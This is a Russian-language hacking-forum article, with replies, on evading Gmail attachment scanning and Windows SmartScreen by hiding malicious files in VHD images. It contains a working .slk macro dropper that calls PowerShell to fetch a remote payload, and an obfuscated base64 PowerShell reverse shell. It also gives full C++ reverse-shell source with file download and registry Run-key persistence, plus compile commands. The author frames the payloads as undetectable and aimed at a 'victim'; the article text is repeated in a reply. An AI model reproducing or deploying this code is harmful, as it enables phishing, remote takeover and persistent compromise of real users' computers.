• 🚨 29 мая стартует курс «Пентест Active Directory: от теории к практике» от Академии Кодебай

    🔍 Изучите реальные техники атак на инфраструктуру Active Directory: от первоначального доступа до полной компрометации.
    🛠️ Освойте инструменты, такие как BloodHound, Mimikatz, CrackMapExec и другие.
    🧪 Пройдите практические лабораторные работы, имитирующие реальные сценарии атак.
    🧠 Получите знания, которые помогут вам стать востребованным специалистом в области информационной безопасности.

    После старта курса запись открыта еще 10 дней Подробнее о курсе ...

Статья Обход проверки вредоносных файлов почтовыми службами и фильтром Microsoft SmartScreen

Введение
Приветствую всех! В этой статье мы рассмотрим метод обхода анализа отравляемых нами файлов почтовой службой Gmail и встроенным в Windows компонентом Microsoft SmartScreen. Недавно что файлы внутри виртуальных дисков VHD и VHDX не сканируются антивирусами. И даже при запуске подозрительных файлов внутри таких образов, служба SmartScreen не выдает абсолютно никаких предупреждений пользователю. А почтовые сервисы вовсе не умеют их читать и позволяют беспрепятственно передавать внутри них вирусы.

Основная часть
Для начала создадим MS Excel подобный файл (.slk) с полезной нагрузкой и попытаемся отправить его нашей жертве через Gmail.
В текстовом редакторе пишем следующий код и сохраняем с расширением .slk

Bash:
ID;P
O;E
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y101;EEXEC("pOwERsHELL -eX b -W 1 -nOP -nONi IEX((nEW-obJECT nEt.wEBClIEnT).dOWNloADstRiNG('ht'+'tp://10.100.10.100/PaYloAD.txt'))")
C;X1;Y102;EHALT()
E

PS: Методом тыка было выяснено что строка длиннее этой не работает, учитывайте это.

Как вы уже догадались это WebDelivry, следовательно сам payload необходимо разместить где то на сервере. Я буду использовать этот однострочный reverse cmd shell в исполнении .

Переводим наш IP адрес в HEX
Bash:
printf "%x,%x,%x,%x\n" 10 100 10 100

hex.png
Вставляем в код:
Bash:
while ($true) {$px = "a","64","a","64";$p = ($px | ForEach { [convert]::ToInt32($_,16) }) -join '.';$w = "GET /index.html HTTP/1.1`r`nHost: $p`r`nMozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0`r`nAccept: text/html`r`n`r`n";$s = [System.Text.ASCIIEncoding];[byte[]]$b = 0..65535|%{0};$x = "n-eiorvsxpk5";Set-alias $x ($x[$true-10] + ($x[[byte]("0x" + "FF") - 265]) + $x[[byte]("0x" + "9a") - 158]);$y = New-Object System.Net.Sockets.TCPClient($p,8443);$z = $y.GetStream();$d = $s::UTF8.GetBytes($w);$z.Write($d, 0, $d.Length);$t = (n-eiorvsxpk5 whoami) + "$ ";while(($l = $z.Read($b, 0, $b.Length)) -ne 0){;$v = (New-Object -TypeName $s).GetString($b,0, $l);$d = $s::UTF8.GetBytes((n-eiorvsxpk5 $v 2>&1 | Out-String )) + $s::UTF8.GetBytes($t);$z.Write($d, 0, $d.Length);}$y.Close();Start-Sleep -Seconds 5}

Порт находится по середине:
Bash:
$y = New-Object System.Net.Sockets.TCPClient($p,8443);

Переводим все это в base64 (скрипт можно скачать тут)

base64.png

Bash:
IEX([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsAJABwAHgAIAA9ACAAIgBhACIALAAiADYANAAiACwAIgBhACIALAAiADYANAAiADsAJABwACAAPQAgACgAJABwAHgAIAB8ACAARgBvAHIARQBhAGMAaAAgAHsAIABbAGMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEkAbgB0ADMAMgAoACQAXwAsADEANgApACAAfQApACAALQBqAG8AaQBuACAAJwAuACcAOwAkAHcAIAA9ACAAIgBHAEUAVAAgAC8AaQBuAGQAZQB4AC4AaAB0AG0AbAAgAEgAVABUAFAALwAxAC4AMQBgAHIAYABuAEgAbwBzAHQAOgAgACQAcABgAHIAYABuAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADEAMAAuADAAOwAgAFcATwBXADYANAA7ACAAcgB2ADoANQA2AC4AMAApACAARwBlAGMAawBvAC8AMgAwADEAMAAwADEAMAAxACAARgBpAHIAZQBmAG8AeAAvADUANgAuADAAYAByAGAAbgBBAGMAYwBlAHAAdAA6ACAAdABlAHgAdAAvAGgAdABtAGwAYAByAGAAbgBgAHIAYABuACIAOwAkAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnAF0AOwBbAGIAeQB0AGUAWwBdAF0AJABiACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwAkAHgAIAA9ACAAIgBuAC0AZQBpAG8AcgB2AHMAeABwAGsANQAiADsAUwBlAHQALQBhAGwAaQBhAHMAIAAkAHgAIAAoACQAeABbACQAdAByAHUAZQAtADEAMABdACAAKwAgACgAJAB4AFsAWwBiAHkAdABlAF0AKAAiADAAeAAiACAAKwAgACIARgBGACIAKQAgAC0AIAAyADYANQBdACkAIAArACAAJAB4AFsAWwBiAHkAdABlAF0AKAAiADAAeAAiACAAKwAgACIAOQBhACIAKQAgAC0AIAAxADUAOABdACkAOwAkAHkAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABDAFAAQwBsAGkAZQBuAHQAKAAkAHAALAA0ADQANAA0ACkAOwAkAHoAIAA9ACAAJAB5AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAJABkACAAPQAgACQAcwA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAdwApADsAJAB6AC4AVwByAGkAdABlACgAJABkACwAIAAwACwAIAAkAGQALgBMAGUAbgBnAHQAaAApADsAJAB0ACAAPQAgACgAbgAtAGUAaQBvAHIAdgBzAHgAcABrADUAIAB3AGgAbwBhAG0AaQApACAAKwAgACIAJAAgACIAOwB3AGgAaQBsAGUAKAAoACQAbAAgAD0AIAAkAHoALgBSAGUAYQBkACgAJABiACwAIAAwACwAIAAkAGIALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJAB2ACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAJABzACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgAsADAALAAgACQAbAApADsAJABkACAAPQAgACQAcwA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAbgAtAGUAaQBvAHIAdgBzAHgAcABrADUAIAAkAHYAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApACkAIAArACAAJABzADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJAB0ACkAOwAkAHoALgBXAHIAaQB0AGUAKAAkAGQALAAgADAALAAgACQAZAAuAEwAZQBuAGcAdABoACkAOwB9ACQAeQAuAEMAbABvAHMAZQAoACkAOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1AH0A')))
Не стандартно, но именно такой подход создает всего лишь один процесс powershell, вместо двух при использовании powershell -enc .... Если не понятно, посмотрите видео.

У нас получился 100% FUD обратный cmd shell. В боевых условиях следовало бы разместить это на облачных хостерах таких как githab, gitlab, pastebin и т.д, но для лабораторных тестов сойдет и локальный http сервер.
Теперь попытаемся отправить полученный .slk файл по почте нашей жертве. Кстати .slk можно сконвертировать в обычный .xls, для этого откройте его в Excel и сохраните в формате Excel 2003, результат этого видите ниже.

test01.png

Gmail не дает нам оправить .xls, потому что обнаружил в нем "вирус". Ну что же, прикрутим еще экзешник.

Снова тот же Paranoid Ninja и 100% FUD reverse cmd shell но только на C++. Давайте допишим к нему немного функционала, а именно загрузку файлов и редактирование реестра Windows, что бы закрепиться в системе при первом же запуске.
C++:
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <urlmon.h>
#pragma comment(lib, "Ws2_32.lib")
#pragma comment(lib, "urlmon.lib")
#define DEFAULT_BUFLEN 1024

void RunShell(char* C2Server, int C2Port) {
    while(true) {
        Sleep(5000);

        SOCKET mySocket;
        sockaddr_in addr;
        WSADATA version;
        WSAStartup(MAKEWORD(2,2), &version);
        mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
        addr.sin_family = AF_INET;

        addr.sin_addr.s_addr = inet_addr(C2Server);
        addr.sin_port = htons(C2Port);

        if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL)==SOCKET_ERROR) {
            closesocket(mySocket);
            WSACleanup();
            continue;
        }
        else {
            char RecvData[DEFAULT_BUFLEN];
            memset(RecvData, 0, sizeof(RecvData));
            int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
            if (RecvCode <= 0) {
                closesocket(mySocket);
                WSACleanup();
                continue;
            }
            else {
                char Process[] = "c:\\WInDOWs\\sYSteM32\\cMd.eXe";
                STARTUPINFO sinfo;
                PROCESS_INFORMATION pinfo;
                memset(&sinfo, 0, sizeof(sinfo));
                sinfo.cb = sizeof(sinfo);
                sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
                sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
                CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
                WaitForSingleObject(pinfo.hProcess, INFINITE);
                CloseHandle(pinfo.hProcess);
                CloseHandle(pinfo.hThread);

                memset(RecvData, 0, sizeof(RecvData));
                int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
                if (RecvCode <= 0) {
                    closesocket(mySocket);
                    WSACleanup();
                    continue;
                }
                if (strcmp(RecvData, "exit\n") == 0) {
                    exit(0);
                }
            }
        }
    }
}

void DownlaodFile(LPCTSTR url, LPCTSTR path) {
  URLDownloadToFile(NULL, url, path, 0, NULL);
}

void RegistryWrite(LPCTSTR subkey,LPCTSTR name,DWORD type,const char* value ) {
    HKEY key;
    RegOpenKey(HKEY_CURRENT_USER,subkey,&key);
    RegSetValueEx(key, name, 0, type, (LPBYTE)value, strlen(value)*sizeof(char));
    RegCloseKey(key);
}


int main(int argc, char **argv) {
    FreeConsole();
    char host[] = "10.100.10.100";
    int port = 8443;

    char* path = getenv("APPDATA");
    char filename[] = "\\ninja.exe";
    strcat(path, filename);

    DownlaodFile("http://10.100.10.100/ninja.exe",path);
    RegistryWrite("Software\\Microsoft\\Windows\\CurrentVersion\\Run","ForCodeby",REG_SZ,path);

    RunShell(host, port);
    return 0;
}

Я скомпилировал программу как в своих предыдущих статьях, с сертификатом и файлом manifest.
Bash:
i686-w64-mingw32-g++ prometheus.cpp SecurityHealthSystray/SecurityHealthSystray.res -o ninja.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -static -lurlmon

test03.png

В целях безопасности Gmail блокирует файлы .exe, даже в нутри архива RAR.
Создадим виртуальный диск VHD и отправим наши файл в нем.

test04.png

Мы успешно справились с поставленной целью. Как было сказано выше, .exe в нутри образа vhd запускается по двойному клику, без характерного преудпреждения о том, что запуская данную программу мы подвергаем компьютер риску. А Excel выдаст другое, более приемлемое предупреждение на счет макросов. Подробнее смотрите в видео.


Первоисточники использованных материалов:


С вами был gushmazuko, до новых встреч!
 
Последнее редактирование:
Только вот почему-то никто не пишет, что созданный автором виртуальный жесткий диск будет открываться только у него. Попробуйте открыть файл формата .vhd в другой системе семейства Windows и вы будете неприятно удивлены.
 
Только вот почему-то никто не пишет, что созданный автором виртуальный жесткий диск будет открываться только у него. Попробуйте открыть файл формата .vhd в другой системе семейства Windows и вы будете неприятно удивлены.
На машине А я создал диск .vhd и по почте отправил его на машину Б, где он успешно выполнил свою цель.
Для нагядности даю тебе ссылку с привязкой ко времени https://youtu.be/sZMUOw5jGAA?t=1041
 
Последнее редактирование:
Протестировал еще раз - способ работает, только если диск был создан в 10 версии винды и открыт в 10 версии винды, для семерки не робит.
 
Было бы слишком простро если бы и на 7 работал способ.
 
за обзор слова добрые но много движений тут макрос то не каждого заставишь открыть а тут этот формат и там щелкать так себе вариант конечно моё чисто имхо а вот по части расширением .slk то же тестил не так давно показывает не плоха себя.

 
  • Нравится
Реакции: Sopilnak
Так разговор про аудит или обход фильтров АВ почтовых сервисов?
Разговор про обход ав фильтров. Обход ав фильтров используется для аудита, на этапе проверки сотрудников в плане сознательности информационной безопасности через си.

На этом этапе уже проведена разведка, следовательно у красной команды есть необходимая информация
 
  • Нравится
Реакции: B13 и gushmazuko
Я так понимаю, если создать на 7, то на другой 7 будет открываться без проблем?
 
Я так понимаю, если создать на 7, то на другой 7 будет открываться без проблем?
Нету разницы на какой OS ты создашь этот файл VHD, просто в Windows 7 он не монтируется по двойному клику, нужно зайти в Disk Management и прикрутить в ручную.
 
  • Нравится
Реакции: B13
В статье нет ни слова о том, на каких системах это работает. То есть предварительно нужно провести сбор информации о системе цели.
Если у вас ни чего не получилось, то это не значит, что это на работает. Будьте исследователем и попробуйте проанализировать причину, почему не работает, а не выпускать желчь. Я читаю много статей об интересующей меня теме и в большинстве случаев статьи являются старыми (2012-2017 гг), но я же не пишу авторам, что это не работает, я ищу причину почему не работает и как сделать так, что бы заработало.
 
Введение
Приветствую всех! В этой статье мы рассмотрим метод обхода анализа отравляемых нами файлов почтовой службой Gmail и встроенным в Windows компонентом Microsoft SmartScreen. Недавно что файлы внутри виртуальных дисков VHD и VHDX не сканируются антивирусами. И даже при запуске подозрительных файлов внутри таких образов, служба SmartScreen не выдает абсолютно никаких предупреждений пользователю. А почтовые сервисы вовсе не умеют их читать и позволяют беспрепятственно передавать внутри них вирусы.

Основная часть
Для начала создадим MS Excel подобный файл (.slk) с полезной нагрузкой и попытаемся отправить его нашей жертве через Gmail.
В текстовом редакторе пишем следующий код и сохраняем с расширением .slk

Bash:
ID;P
O;E
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y101;EEXEC("pOwERsHELL -eX b -W 1 -nOP -nONi IEX((nEW-obJECT nEt.wEBClIEnT).dOWNloADstRiNG('ht'+'tp://10.100.10.100/PaYloAD.txt'))")
C;X1;Y102;EHALT()
E

PS: Методом тыка было выяснено что строка длиннее этой не работает, учитывайте это.

Как вы уже догадались это WebDelivry, следовательно сам payload необходимо разместить где то на сервере. Я буду использовать этот однострочный reverse cmd shell в исполнении .

Переводим наш IP адрес в HEX
Bash:
printf "%x,%x,%x,%x\n" 10 100 10 100

Вставляем в код:
Bash:
while ($true) {$px = "a","64","a","64";$p = ($px | ForEach { [convert]::ToInt32($_,16) }) -join '.';$w = "GET /index.html HTTP/1.1`r`nHost: $p`r`nMozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0`r`nAccept: text/html`r`n`r`n";$s = [System.Text.ASCIIEncoding];[byte[]]$b = 0..65535|%{0};$x = "n-eiorvsxpk5";Set-alias $x ($x[$true-10] + ($x[[byte]("0x" + "FF") - 265]) + $x[[byte]("0x" + "9a") - 158]);$y = New-Object System.Net.Sockets.TCPClient($p,8443);$z = $y.GetStream();$d = $s::UTF8.GetBytes($w);$z.Write($d, 0, $d.Length);$t = (n-eiorvsxpk5 whoami) + "$ ";while(($l = $z.Read($b, 0, $b.Length)) -ne 0){;$v = (New-Object -TypeName $s).GetString($b,0, $l);$d = $s::UTF8.GetBytes((n-eiorvsxpk5 $v 2>&1 | Out-String )) + $s::UTF8.GetBytes($t);$z.Write($d, 0, $d.Length);}$y.Close();Start-Sleep -Seconds 5}

Порт находится по середине:
Bash:
$y = New-Object System.Net.Sockets.TCPClient($p,8443);

Переводим все это в base64 (скрипт можно скачать тут)


Bash:
IEX([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsAJABwAHgAIAA9ACAAIgBhACIALAAiADYANAAiACwAIgBhACIALAAiADYANAAiADsAJABwACAAPQAgACgAJABwAHgAIAB8ACAARgBvAHIARQBhAGMAaAAgAHsAIABbAGMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEkAbgB0ADMAMgAoACQAXwAsADEANgApACAAfQApACAALQBqAG8AaQBuACAAJwAuACcAOwAkAHcAIAA9ACAAIgBHAEUAVAAgAC8AaQBuAGQAZQB4AC4AaAB0AG0AbAAgAEgAVABUAFAALwAxAC4AMQBgAHIAYABuAEgAbwBzAHQAOgAgACQAcABgAHIAYABuAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADEAMAAuADAAOwAgAFcATwBXADYANAA7ACAAcgB2ADoANQA2AC4AMAApACAARwBlAGMAawBvAC8AMgAwADEAMAAwADEAMAAxACAARgBpAHIAZQBmAG8AeAAvADUANgAuADAAYAByAGAAbgBBAGMAYwBlAHAAdAA6ACAAdABlAHgAdAAvAGgAdABtAGwAYAByAGAAbgBgAHIAYABuACIAOwAkAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnAF0AOwBbAGIAeQB0AGUAWwBdAF0AJABiACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwAkAHgAIAA9ACAAIgBuAC0AZQBpAG8AcgB2AHMAeABwAGsANQAiADsAUwBlAHQALQBhAGwAaQBhAHMAIAAkAHgAIAAoACQAeABbACQAdAByAHUAZQAtADEAMABdACAAKwAgACgAJAB4AFsAWwBiAHkAdABlAF0AKAAiADAAeAAiACAAKwAgACIARgBGACIAKQAgAC0AIAAyADYANQBdACkAIAArACAAJAB4AFsAWwBiAHkAdABlAF0AKAAiADAAeAAiACAAKwAgACIAOQBhACIAKQAgAC0AIAAxADUAOABdACkAOwAkAHkAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABDAFAAQwBsAGkAZQBuAHQAKAAkAHAALAA0ADQANAA0ACkAOwAkAHoAIAA9ACAAJAB5AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAJABkACAAPQAgACQAcwA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAdwApADsAJAB6AC4AVwByAGkAdABlACgAJABkACwAIAAwACwAIAAkAGQALgBMAGUAbgBnAHQAaAApADsAJAB0ACAAPQAgACgAbgAtAGUAaQBvAHIAdgBzAHgAcABrADUAIAB3AGgAbwBhAG0AaQApACAAKwAgACIAJAAgACIAOwB3AGgAaQBsAGUAKAAoACQAbAAgAD0AIAAkAHoALgBSAGUAYQBkACgAJABiACwAIAAwACwAIAAkAGIALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJAB2ACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAJABzACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgAsADAALAAgACQAbAApADsAJABkACAAPQAgACQAcwA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAbgAtAGUAaQBvAHIAdgBzAHgAcABrADUAIAAkAHYAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApACkAIAArACAAJABzADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJAB0ACkAOwAkAHoALgBXAHIAaQB0AGUAKAAkAGQALAAgADAALAAgACQAZAAuAEwAZQBuAGcAdABoACkAOwB9ACQAeQAuAEMAbABvAHMAZQAoACkAOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1AH0A')))
Не стандартно, но именно такой подход создает всего лишь один процесс powershell, вместо двух при использовании powershell -enc .... Если не понятно, посмотрите видео.

У нас получился 100% FUD обратный cmd shell. В боевых условиях следовало бы разместить это на облачных хостерах таких как githab, gitlab, pastebin и т.д, но для лабораторных тестов сойдет и локальный http сервер.
Теперь попытаемся отправить полученный .slk файл по почте нашей жертве. Кстати .slk можно сконвертировать в обычный .xls, для этого откройте его в Excel и сохраните в формате Excel 2003, результат этого видите ниже.


Gmail не дает нам оправить .xls, потому что обнаружил в нем "вирус". Ну что же, прикрутим еще экзешник.

Снова тот же Paranoid Ninja и 100% FUD reverse cmd shell но только на C++. Давайте допишим к нему немного функционала, а именно загрузку файлов и редактирование реестра Windows, что бы закрепиться в системе при первом же запуске.
C++:
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <urlmon.h>
#pragma comment(lib, "Ws2_32.lib")
#pragma comment(lib, "urlmon.lib")
#define DEFAULT_BUFLEN 1024

void RunShell(char* C2Server, int C2Port) {
    while(true) {
        Sleep(5000);

        SOCKET mySocket;
        sockaddr_in addr;
        WSADATA version;
        WSAStartup(MAKEWORD(2,2), &version);
        mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
        addr.sin_family = AF_INET;

        addr.sin_addr.s_addr = inet_addr(C2Server);
        addr.sin_port = htons(C2Port);

        if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL)==SOCKET_ERROR) {
            closesocket(mySocket);
            WSACleanup();
            continue;
        }
        else {
            char RecvData[DEFAULT_BUFLEN];
            memset(RecvData, 0, sizeof(RecvData));
            int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
            if (RecvCode <= 0) {
                closesocket(mySocket);
                WSACleanup();
                continue;
            }
            else {
                char Process[] = "c:\\WInDOWs\\sYSteM32\\cMd.eXe";
                STARTUPINFO sinfo;
                PROCESS_INFORMATION pinfo;
                memset(&sinfo, 0, sizeof(sinfo));
                sinfo.cb = sizeof(sinfo);
                sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
                sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
                CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
                WaitForSingleObject(pinfo.hProcess, INFINITE);
                CloseHandle(pinfo.hProcess);
                CloseHandle(pinfo.hThread);

                memset(RecvData, 0, sizeof(RecvData));
                int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
                if (RecvCode <= 0) {
                    closesocket(mySocket);
                    WSACleanup();
                    continue;
                }
                if (strcmp(RecvData, "exit\n") == 0) {
                    exit(0);
                }
            }
        }
    }
}

void DownlaodFile(LPCTSTR url, LPCTSTR path) {
  URLDownloadToFile(NULL, url, path, 0, NULL);
}

void RegistryWrite(LPCTSTR subkey,LPCTSTR name,DWORD type,const char* value ) {
    HKEY key;
    RegOpenKey(HKEY_CURRENT_USER,subkey,&key);
    RegSetValueEx(key, name, 0, type, (LPBYTE)value, strlen(value)*sizeof(char));
    RegCloseKey(key);
}


int main(int argc, char **argv) {
    FreeConsole();
    char host[] = "10.100.10.100";
    int port = 8443;

    char* path = getenv("APPDATA");
    char filename[] = "\\ninja.exe";
    strcat(path, filename);

    DownlaodFile("http://10.100.10.100/ninja.exe",path);
    RegistryWrite("Software\\Microsoft\\Windows\\CurrentVersion\\Run","ForCodeby",REG_SZ,path);

    RunShell(host, port);
    return 0;
}

Я скомпилировал программу как в своих предыдущих статьях, с сертификатом и файлом manifest.
Bash:
i686-w64-mingw32-g++ prometheus.cpp SecurityHealthSystray/SecurityHealthSystray.res -o ninja.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -static -lurlmon


В целях безопасности Gmail блокирует файлы .exe, даже в нутри архива RAR.
Создадим виртуальный диск VHD и отправим наши файл в нем.


Мы успешно справились с поставленной целью. Как было сказано выше, .exe в нутри образа vhd запускается по двойному клику, без характерного преудпреждения о том, что запуская данную программу мы подвергаем компьютер риску. А Excel выдаст другое, более приемлемое предупреждение на счет макросов. Подробнее смотрите в видео.


Первоисточники использованных материалов:


С вами был gushmazuko, до новых встреч!
За статью спасибо. Есть интересные моменты, о которых не знал.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!

Курс AD